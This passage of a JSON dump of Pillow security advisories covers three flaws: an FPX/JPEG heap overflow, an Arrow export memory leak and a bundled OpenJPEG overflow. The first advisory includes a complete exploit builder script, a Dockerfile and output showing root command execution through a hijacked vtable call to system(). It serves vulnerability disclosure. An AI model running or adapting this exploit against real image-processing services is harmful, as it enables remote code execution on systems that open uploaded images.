bytes/pixel) ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)):\n\n```c\nstate-\u003ebytes = (state-\u003ebits * state-\u003exsize + 7) / 8;   // \"LA\" gives 2 * xsize bytes/row\n...\nstate-\u003ebuffer = (UINT8 *)calloc(1, state-\u003ebytes);\n```\n\nIn `JpegDecode.c` the rawmode string is mapped to a libjpeg `out_color_space`. Recognized modes (`CMYK`, `YCbCr`, `YCbCrK`, and so on) get a concrete colorspace, but `\"LA\"` and `\"YCC;P\"` are not recognized, so control reaches the fallback branch ([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221)):\n\n```c\n/* Disable decoder conversions. */\ncontext-\u003ecinfo.jpeg_color_space = JCS_UNKNOWN;\ncontext-\u003ecinfo.out_color_space  = JCS_UNKNOWN;\n```\n\nUnder `JCS_UNKNOWN`, libjpeg performs no color conversion and emits `cinfo.num_components` bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So `jpeg_read_scanlines` writes `4 * width` bytes per row into a buffer allocated for only `2 * width` bytes ([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252)):\n\n```c\nok = jpeg_read_scanlines(\u0026context-\u003ecinfo, \u0026state-\u003ebuffer, 1);   // writes 4*W into a 2*W buffer\n```\n\nThis is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about `2 * width` bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python `bytes` object's `ob_type` with a pointer to a fake `PyTypeObject` / `PyBufferProcs` vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, `PyBuffer_Release` walks `ob_type -\u003e tp_as_buffer -\u003e bf_releasebuffer` and executes `call *rax`; the PoC points that at `system@plt` (fixed, the interpreter binary is non-PIE) with `rdi` set to the command string, yielding command execution.\n\n### PoC\n\nTo facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup).\n\nThe source code for the payload builder `make_payload.py` is in [Annex B](#annex-b-payload-builder-source).\n\n`vulnerable.py` is the program under test, a one-liner that opens the file it is given:\n\n```python\n#!/usr/bin/env python3\n# The entire vulnerable operation an application performs on an untrusted file.\nimport sys\nfrom PIL import Image\n\nImage.open(sys.argv[1]).load()\n```\n\nThe payload is a standalone `.fpx` file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run `make_payload.py` inside the same container here purely for convenience, so its baked-in addresses (`--offset`, `system@plt`) match this pinned image. The payload redirects the hijacked indirect call to `system@plt` (`0x4206c0`, fixed because the interpreter binary is non-PIE) with a baked-in command:\n\n```console\n$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx\n[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0\n[control] opening it: vtable hijack -\u003e call *0x4206c0 with rdi -\u003e 'id'\n```\n\nThen open it with `vulnerable.py`:\n\n```console\n$ python3 vulnerable.py shell.fpx\nuid=0(root) gid=0(root) groups=0(root)\ncorrupted size vs. prev_size\n```\n\n`Image.open()` of the crafted file runs the baked command via `system(\"id\")`: command execution as the user running the image processing (root in the container).\n\nThe trailing `corrupted size vs. prev_size` is glibc aborting during interpreter teardown over the corrupted heap, after `id` has\nalready run.\n\nThe builder writes the command inline at the hijacked `rdi`, so `--cmd` is limited to 7 bytes (for example `id`, `id;w`). `--offset` and `system@plt` are constants of the pinned, ASLR-disabled image and hold across runs of it.\n\n### Impact\n\nThis is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional `olefile` dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension and the overflow is triggered during a normal `Image.open()` / `load`, a server that automatically processes an uploaded file is exploitable with no user interaction. The result is arbitrary command execution in the context of the process performing the image processing, leading to full compromise of that process and the data and privileges it holds.\n\n### Annex A: Docker setup\n\nThe PoC runs in a pinned Docker image so the environment is deterministic; the image installs a version-pinned Python (3.12.3) and the Pillow 12.2.0 wheel, and the builder is pure Pillow. The image's entrypoint disables ASLR (`setarch -R`) to reduce the system knowledge requirements. The single `--security-opt seccomp=unconfined` flag on `docker run` is required only because turning ASLR off uses the `personality()` syscall that Docker's default seccomp profile blocks. Run only on infrastructure you own.\n\n**1. Build the image.** Put `vulnerable.py` (PoC) and `make_payload.py`\n([Annex B](#annex-b-payload-builder-source)) in a directory with this `Dockerfile`:\n\n```dockerfile\nFROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n        ca-certificates \\\n        python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\nRUN python3.12 -m venv /opt/v \\\n    \u0026\u0026 /opt/v/bin/pip install --no-cache-dir \"Pillow==12.2.0\" \"olefile==0.47\"\nENV PATH=/opt/v/bin:$PATH\nWORKDIR /poc\n# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.\nENTRYPOINT [\"setarch\", \"-R\"]\nCMD [\"bash\"]\n```\n\n```console\n$ docker build -t fjpeg1-poc .\n...\nDownloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)\nSuccessfully installed Pillow-12.2.0 olefile-0.47\nSuccessfully built 370344c832b6\nSuccessfully tagged fjpeg1-poc:latest\n```\n\n**2. Start the (ASLR-disabled) container shell** with the scripts mounted:\n\n```sh\ndocker run --rm -it --security-opt seccomp=unconfined -v \"$PWD:/poc\" -w /poc fjpeg1-poc\n```\n\n### Annex B: payload builder source\n\n`make_payload.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).\nBuilds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -\u003e JCS_UNKNOWN\npath, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.\n  --crash      flood an adjacent ob_type with 0x42.. -\u003e SIGSEGV in PyBuffer_Release\n  (default)    CONTROL: fake vtable at the fixed (no-ASLR) addresses -\u003e call *--target\nDefaults target the pinned Docker image with ASLR disabled (setarch -R). See --help.\"\"\"\nimport sys, io, struct, math, argparse\nfrom PIL import Image\n\nW, H = 65000, 2\nSECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748\nFREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF\nFPX_CLSID = bytes.fromhex(\"0067615654C1CE11855300AA00A1F95B\")\no32 = lambda v: struct.pack(\"\u003cI\", v)\np64 = lambda v: struct.pack(\"\u003cQ\", v)\nINV = bytes(255 - i for i in range(256))   # 8-bit inversion table\n\ndef jpeg(src):\n    b = io.BytesIO()\n    Image.frombytes(\"CMYK\", (W, H), bytes(src)).save(b, \"JPEG\", quality=100, subsampling=0)\n    return b.getvalue()\n\ndef decode_row(jpg):\n    # Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits\n    # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R\n    # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The\n    # last decoded row is the one that lands in (and overflows past) the buffer.\n    px = Image.open(io.BytesIO(jpg)).tobytes()\n    return px[(H - 1) * W * 4:].translate(INV)\n\ndef craft(targets, iters=40):  # decode-feedback exact write (JPEG is lossy -\u003e iterate to converge)\n    # base fill 0xBD -\u003e decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern\n    # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).\n    src = bytearray(b\"\\xbd\" * (W * H * 4)); base = (H - 1) * W * 4; it = 0\n    for off, t in targets:\n        for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v\n    for it in range(iters):\n        dec = decode_row(jpeg(src)); bad = 0\n        for off, t in targets:\n            for i, v in enumerate(t):\n                if dec[off + i] != v:\n                    bad += 1\n                    src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))\n        if not bad: break\n    return jpeg(src), it, bad\n\ndef maxid_for(w, h):\n    s, i = max(w, h), 1\n    while s \u003e 64: s //= 2; i += 1\n    return i - 1\nMAXID = maxid_for(W, H); RESNAME = \"Resolution %04d\" % MAXID\n\ndef image_contents():\n    ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b\n    cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE)        # FPX color -\u003e rawmode \"LA\"\n    props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID \u003c\u003c 16), blob(cb))]\n    voff = 8 + 8 * len(props); idx = vals = b\"\"\n    for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)\n    body = o32(len(props)) + idx + vals\n    return (struct.pack(\"\u003cHHI\", 0xFFFE, 0, 0x00020005) + b\"\\x00\" * 16 + o32(1) + b\"\\x00\" * 16\n            + o32(48) + o32(len(body) + 4) + body)\n\ndef subimage_header():\n    b = bytearray(80)\n    for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),\n                 (56, 36), (60, 16), (64, 0), (72, 2)]:\n        struct.pack_into(\"\u003cI\", b, o, v)\n    return bytes(b)\n\ndef build_fpx(jpg, out):\n    data = b\"\\x00\" * 28 + jpg\n    assert len(data) \u003c= DATA_PAD, (len(data), DATA_PAD)\n    pad = lambda x: x + b\"\\x00\" * ((-len(x)) % SECT)\n    sd = {\"ic\": pad(image_contents().ljust(4096, b\"\\x00\")),\n          \"hdr\": pad(subimage_header().ljust(4096, b\"\\x00\")),\n          \"dat\": pad(data.ljust(DATA_PAD, b\"\\x00\"))}\n    ns = lambda x: len(x) // SECT; order = [\"ic\", \"dat\", \"hdr\"]\n    dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)\n    fsec = 1\n    while fsec * 128 \u003c fsec + content: fsec += 1\n    pos = {}; cur = fsec; dstart = cur; cur += dsec\n    for k in order: pos[k] = cur; cur += ns(sd[k])\n    total = cur\n    fat = [FREESECT] * (fsec * 128)\n    for s in range(fsec): fat[s] = FATSECT\n    def chain(a, n):\n        for j in range(n): fat[a + j] = a + j + 1 if j \u003c n - 1 else ENDOFCHAIN\n    chain(dstart, dsec)\n    for k in order: chain(pos[k], ns(sd[k]))\n    def de(nm, t, ch, l, r, st, sz, cl=b\"\\x00\" * 16):\n        n = (nm.encode(\"utf-16-le\") + b\"\\x00\\x00\").ljust(64, b\"\\x00\")[:64]\n        return (n + struct.pack(\"\u003cHBB\", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)\n                + o32(ch) + cl + o32(0) + b\"\\x00\" * 16 + o32(st) + struct.pack(\"\u003cQ\", sz))\n    directory = pad(b\"\".join([\n        de(\"Root Entry\", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),\n        de(\"Data Object Store 000001\", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),\n        de(\"\\x05Image Contents\", 2, NOSTREAM, NOSTREAM, 3, pos[\"ic\"], len(sd[\"ic\"])),\n        de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),\n        de(\"Subimage 0000 Data\", 2, NOSTREAM, NOSTREAM, 5, pos[\"dat\"], len(sd[\"dat\"])),\n        de(\"Subimage 0000 Header\", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos[\"hdr\"], len(sd[\"hdr\"]))]))\n    h = bytearray(512); h[0:8] = bytes.fromhex(\"D0CF11E0A1B11AE1\")\n    for o, fmt, *v in [(24, \"\u003cHH\", 0x3E, 3), (28, \"\u003cH\", 0xFFFE), (30, \"\u003cHH\", 9, 6), (44, \"\u003cI\", fsec),\n                       (48, \"\u003cI\", dstart), (56, \"\u003cI\", 4096), (60, \"\u003cI\", ENDOFCHAIN), (68, \"\u003cI\", ENDOFCHAIN)]:\n        struct.pack_into(fmt, h, o, *v)\n    for i in range(109): struct.pack_into(\"\u003cI\", h, 76 + i * 4, i if i \u003c fsec else FREESECT)\n    secs = [b\"\"] * total\n    for s in range(fsec): secs[s] = b\"\".join(o32(x) for x in fat[s * 128:(s + 1) * 128])\n    for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]\n    for k in order:\n        for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]\n    open(out, \"wb\").write(bytes(h) + b\"\".join(secs))\n\ndef xhex(s): return int(s, 16)\n\nSYSTEM_PLT = 0x4206c0   # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)\n\ndef main():\n    ap = argparse.ArgumentParser(description=\"F-JPEG-1 .fpx payload builder (0-ASLR box)\")\n    ap.add_argument(\"--out\", required=True, help=\"output .fpx path\")\n    ap.add_argument(\"--crash\", action=\"store_true\",\n                    help=\"crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)\")\n    ap.add_argument(\"--heap-base\", type=xhex, default=0xbaa000,\n                    help=\"fixed heap base of the 0-ASLR box (default 0xbaa000)\")\n    ap.add_argument(\"--offset\", type=xhex, default=0x21e800,\n                    help=\"state-\u003ebuffer - heap_base (default 0x21e800 -\u003e S=0xdc8800)\")\n    ap.add_argument(\"--target\", type=xhex, default=SENTINEL,\n                    help=\"value called via the hijacked vtable; pass %#x (system@plt) for \"\n                         \"command execution (default is a sentinel for an RIP-control demo)\" % SYSTEM_PLT)\n    ap.add_argument(\"--cmd\", default=\"id\",\n                    help=\"command system() runs, written inline at obj+0 / rdi (\u003c=7 bytes, e.g. id, id;w)\")\n    a = ap.parse_args()\n\n    if a.crash:\n        # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD\n        # to make the decoded overflow bytes 0x42 -\u003e the adjacent ob_type becomes 0x4242424242424242.\n        build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)\n        print(\"[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 \"\n              \"-\u003e SIGSEGV in PyBuffer_Release (no addresses)\" % a.out)\n        return\n\n    if len(a.cmd.encode()) \u003e 7:\n        sys.exit(\"--cmd must be \u003c=7 bytes (it is written inline at obj+0, before ob_type)\")\n    S = a.heap_base + a.offset\n    A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000     # spray A = fake type, spray B = TARGET\n    tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),\n          (OB_TYPE_OFF - 8, a.cmd.encode() + b\"\\x00\")]      # obj+0 -\u003e rdi for system()\n    tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)]   # fake type -\u003e spray B at +0xa0..+8\n    tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]\n    jpg, it, bad = craft(tg)\n    build_fpx(jpg, a.out)\n    print(\"[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d\"\n          % (a.out, S, a.target, a.cmd, it, bad))\n    print(\"[control] opening it: vtable hijack -\u003e call *%#x with rdi -\u003e %r\" % (a.target, a.cmd))\n\nif __name__ == \"__main__\":\n    main()\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-10-23T21:55:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h","https://nvd.nist.gov/vuln/detail/CVE-2026-112398","https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-5x8w-8jj5-q52h"],"source_kind":"github","identifiers":["GHSA-5x8w-8jj5-q52h","CVE-2026-112398"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-23T22:00:07.967Z","updated_at":"2026-12-03T11:01:16.260Z","epss_percentage":0.00696,"epss_percentile":0.54259,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eDh3LThqajUtcTUyaM4AB_RW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01eDh3LThqajUtcTUyaM4AB_RW","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eDh3LThqajUtcTUyaM4AB_RW/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112398","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112398","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112398"},{"uuid":"CVE-2026-112398","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112398.json"}]},{"uuid":"GSA_kwCzR0hTQS02NTR4LWN3d3YtNWo5Y84AB_RU","url":"https://github.com/advisories/GHSA-654x-cwwv-5j9c","title":"Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT \u003e 1","description":"### Summary\n\nWhen [`PILLOW_ALIGNMENT`](https://pillow.readthedocs.io/en/stable/reference/block_allocator.html#memory-pools) is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier. \n\n### Details\n\nWith an alignment above 1, the default allocator pads each row up to `aligned_linesize` and starts the first row at an aligned offset into the block. It then exports `im-\u003eblocks[0].ptr` as `xsize * ysize` tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row.\n\nTested vulnerable on 11.2.1, 12.3.0, 4c1ed27a5.\n\n### PoC\n\nWhether things leak may depend on allocator configuration. This does show a leak on my Mac.\n\n```python\nimport os\n\nos.environ[\"PILLOW_ALIGNMENT\"] = \"64\"\n\nfrom PIL import Image\n\n# Image A: 64 px wide, so its rows fill the whole aligned stride\na = Image.new(\"L\", (64, 40), 0x41).transpose(Image.Transpose.FLIP_LEFT_RIGHT)\ndel a\n\n# Image B: 61 px wide, so each row has 3 bytes of padding; its pixels are all 0\nb = Image.new(\"L\", (61, 40), 0).transpose(Image.Transpose.FLIP_LEFT_RIGHT)\n\ntry:\n    exported = Image.fromarrow(b, b.mode, b.size).tobytes()\nexcept ValueError as e:\n    print(\"Not vulnerable:\", e)\nelse:\n    if leaked := len(exported) - exported.count(0):\n        raise RuntimeError(f\"{leaked} of {len(exported)} exported bytes are not B's pixels\")\n```\n\n### Impact\n\nInformation disclosure for applications that set `PILLOW_ALIGNMENT` and export images to Arrow. Likely any image whose row length isn't a multiple of the alignment will do. In a service handling several users' images, one user's exported data can contain pixels from another user's image, or other stale heap contents.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-23T21:53:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-654x-cwwv-5j9c","https://nvd.nist.gov/vuln/detail/CVE-2026-114501","https://github.com/python-pillow/Pillow/pull/10172","https://github.com/python-pillow/Pillow/commit/19f64946eb247b973dd4560be7dea3bf979d2e6a","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-654x-cwwv-5j9c"],"source_kind":"github","identifiers":["GHSA-654x-cwwv-5j9c","CVE-2026-114501"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-23T22:00:07.967Z","updated_at":"2026-12-03T11:01:16.261Z","epss_percentage":0.004,"epss_percentile":0.36362,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NTR4LWN3d3YtNWo5Y84AB_RU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NTR4LWN3d3YtNWo5Y84AB_RU","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 11.2.1, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NTR4LWN3d3YtNWo5Y84AB_RU/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-114501","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-114501"},{"uuid":"CVE-2026-114501","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/114xxx/CVE-2026-114501.json"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"}]},{"uuid":"GSA_kwCzR0hTQS03OGc0LXhxd3YtcTNnOM4AB_G6","url":"https://github.com/advisories/GHSA-78g4-xqwv-q3g8","title":"Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()","description":"### Summary\n\nEvery Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219\n\nBecause the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings.\n\nI am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users.\n\nNote the inversion that makes this easy to miss: **OpenJPEG 2.5.2 and earlier are safe.** The bug was introduced in `954c6e3c` (2024-06-25), so keeping the dependency current is what creates the exposure.\n\n### Details\n\n## Affected wheels\n\nFrom `.github/dependencies.json` (`openjpeg`) at each tag:\n\n| Pillow | bundled OpenJPEG | status |\n|---|---|---|\n| 10.4.0 | 2.5.2 | safe |\n| 11.0.0 | 2.5.2 | safe |\n| **11.1.0, 11.2.1, 11.3.0** | **2.5.3** | **affected** |\n| **12.0.0 … 12.3.0** | **2.5.4** | **affected** |\n\nConfirmed on an installed wheel: `PIL.features.version_codec('jpg_2000')` → `2.5.4`, bundled file `pillow.libs/libopenjp2-*.so.2.5.4`. `main` still pins `2.5.4` as of 2026-10-06.\n\n## The defect\n\n`src/lib/openjp2/j2k.c`, in `opj_j2k_read_sod`:\n\n```c\nOPJ_UINT32 l_current_tile_part =\n    l_cstr_index-\u003etile_index[p_j2k-\u003em_current_tile_number].current_tpsno;\nl_cstr_index-\u003etile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos;\nl_cstr_index-\u003etile_index[...].tp_index[l_current_tile_part].end_pos   =\n    l_current_pos + p_j2k-\u003em_specific_param.m_decoder.m_sot_length + 2;\n```\n\n`tp_index` is neither null-checked nor bounds-checked, and `l_current_tile_part` comes directly from the one-byte `TPsot` field of the SOT marker.\n\nThe correct guard already exists a few lines later in `opj_j2k_add_tlmarker` (j2k.c:8459), writing the **same array at the same index** behind `if (tp_index \u0026\u0026 l_current_tile_part \u003c nb_tps)`. One writer checked, its sibling not.\n\nReached by giving the codestream a *valid* TLM marker — so `tp_index` is allocated once by `opj_j2k_build_tp_index_from_tlm`, sized to the TLM entry count, and `opj_j2k_read_sot` then skips all resizing — while setting `TNsot = 0` in every SOT, which keeps the TLM \"valid\" and lets `TPsot` walk past the allocation.\n\n## Patch status\n\nFixed upstream in `91d08b11` (\"Fix heap buffer overlfow in opj_j2k_read_sod\", 2026-02-10).\n\nThe newest OpenJPEG tag is **v2.5.4 (2025-09-20)**, and `compare/v2.5.4...91d08b11` reports *ahead 6, behind 0* — the fix is **in no release, 8 months on**.\n\n## Suggested remediation\n\n1. Carry `91d08b11` as a patch in the wheel build until an OpenJPEG release includes it — three lines, identical to a guard already present in the same file.\n2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code.\n3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that `Image.open()` ignores filename/Content-Type and will reach any compiled-in codec unless `formats=` is passed would help downstream apps a lot.\n\n## Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply\n\n`Image.open()` sniffs magic bytes, so a JPEG 2000 codestream in a file named `avatar.png` declared `Content-Type: image/png` reaches the JP2 decoder anyway.\n\nI verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing `formats=` and validating on the detected format rather than the client's `Content-Type`.\n\nThat is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume.\n\n### Proof of concept\n\nASan build of OpenJPEG 2.5.4 interposed under a **stock Pillow 12.3.0**, running `Image.open(p); im.load()`:\n\n```\n==766332==ERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 8\n    #0 opj_j2k_read_sod          j2k.c:5086\n    #1 opj_j2k_read_tile_header  j2k.c:9912\n    #2 opj_read_tile_header      openjpeg.c:575\n    #3 j2k_decode_entry          src/libImaging/Jpeg2KDecode.c:793\n    #4 ImagingJpeg2KDecode       src/libImaging/Jpeg2KDecode.c:949\n    #5 _decode                   src/decode.c:132\nlocated 8 bytes to the right of a 24-byte region allocated by\n    opj_j2k_build_tp_index_from_tlm j2k.c:8939\n```\n\nFrames 3–5 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls `opj_decoder_set_strict_mode`. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure.\n\nI have deliberately **not** attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready.\n\nNo disclosure deadline from me; I will not publish anything while this is being worked on.\n\n### Impact\n\nAny application that calls `Image.open()` / `im.load()` on an image it did not produce — the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines — can be made to perform an out-of-bounds heap write by supplying one crafted file.\n\n**Floor, already certain.** On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (`corrupted size vs. prev_size`, `corrupted double-linked list`, SIGABRT). One file reliably kills a long-lived worker.\n\n**Ceiling, demonstrated as a primitive but not as a finished exploit.** With same-size-class objects alive on both sides — an ordinary busy heap — the walk crosses `opj_event_mgr_t`, which holds three `opj_msg_callback` function pointers, and `opj_event_msg` then calls one (event.c:136):\n\n```\nrip  0x4000    \u003c- value chosen by the attacker's file layout\nrsi  0x3ff2    \u003c- m_error_data, written by the same walk\n```\n\nShifting the codestream with a COM marker moves `rip` with it (`0x16ce` → `0x4000`), so the instruction pointer is attacker-**chosen** rather than incidentally invalid. A benign control image leaves the same groomed heap untouched.\n\nTo be explicit about what I did not do: I have **not** built a working exploit. That additionally needs remote heap grooming and an ASLR defeat, and I attempted neither. I am reporting a controlled control-flow primitive, not a finished chain. The CVSS AC:H reflects that.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-22T17:01:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-78g4-xqwv-q3g8","https://github.com/python-pillow/Pillow/commit/5f8114c8096b181fae493543cd3837d9f9a971cc","https://github.com/python-pillow/Pillow/commit/d3470c327840f4c216a1610f30e7091dfd0b97c0","https://github.com/uclouvain/openjpeg/commit/91d08b11a72764f6d199f32fa0c1b1abd4edc2ad","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://osv.dev/vulnerability/OSV-2025-219","https://github.com/advisories/GHSA-78g4-xqwv-q3g8"],"source_kind":"github","identifiers":["GHSA-78g4-xqwv-q3g8"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T18:00:08.636Z","updated_at":"2026-10-24T21:00:10.673Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03OGc0LXhxd3YtcTNnOM4AB_G6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03OGc0LXhxd3YtcTNnOM4AB_G6","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 11.1.0, \u003c 